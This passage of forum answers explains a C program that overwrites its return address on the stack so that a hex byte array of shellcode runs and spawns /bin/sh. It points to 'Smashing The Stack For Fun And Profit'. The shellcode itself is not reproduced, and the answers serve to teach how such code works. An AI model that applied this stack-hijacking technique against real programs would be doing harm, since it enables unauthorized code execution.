that performs a similar task can be
called shellcode.
Without looking up all the actual opcodes to confirm, the shellcode array contains the machine code necessary to exec /bin/sh. This shellcode is machine code carefully constructed to perform the desired operation on a specific target platform and not to contain any null bytes.
The code in main() is changing the return address and the flow of execution in order to cause the program to spawn a shell by having the instructions in the shellcode array executed.
See Smashing The Stack For Fun And Profit for a description on how shellcode such as this can be created and how it might be used.
The string contains a series of bytes represented in hexadecimal.
The bytes encode a series of instructions for a particular processor on a particular platform — hopefully, yours. (Edit: if it's malware, hopefully not yours!)
The variable is defined just to get a handle to the stack. A bookmark, if you will. Then pointer arithmetic is used, again platform-dependent, to manipulate the state of the program to cause the processor to jump to and execute the bytes in the string.
Each \xXX is a hexadecimal number. One, two or three of such numbers together form an op-code (google for it). Together it forms assembly which can be executed by the machine more or less directly. And this code tries to execute the shellcode.
I think the shellcode tries to spawn a shell.
This is just spawn /bin/sh, for example in C like execve("/bin/sh", NULL, NULL);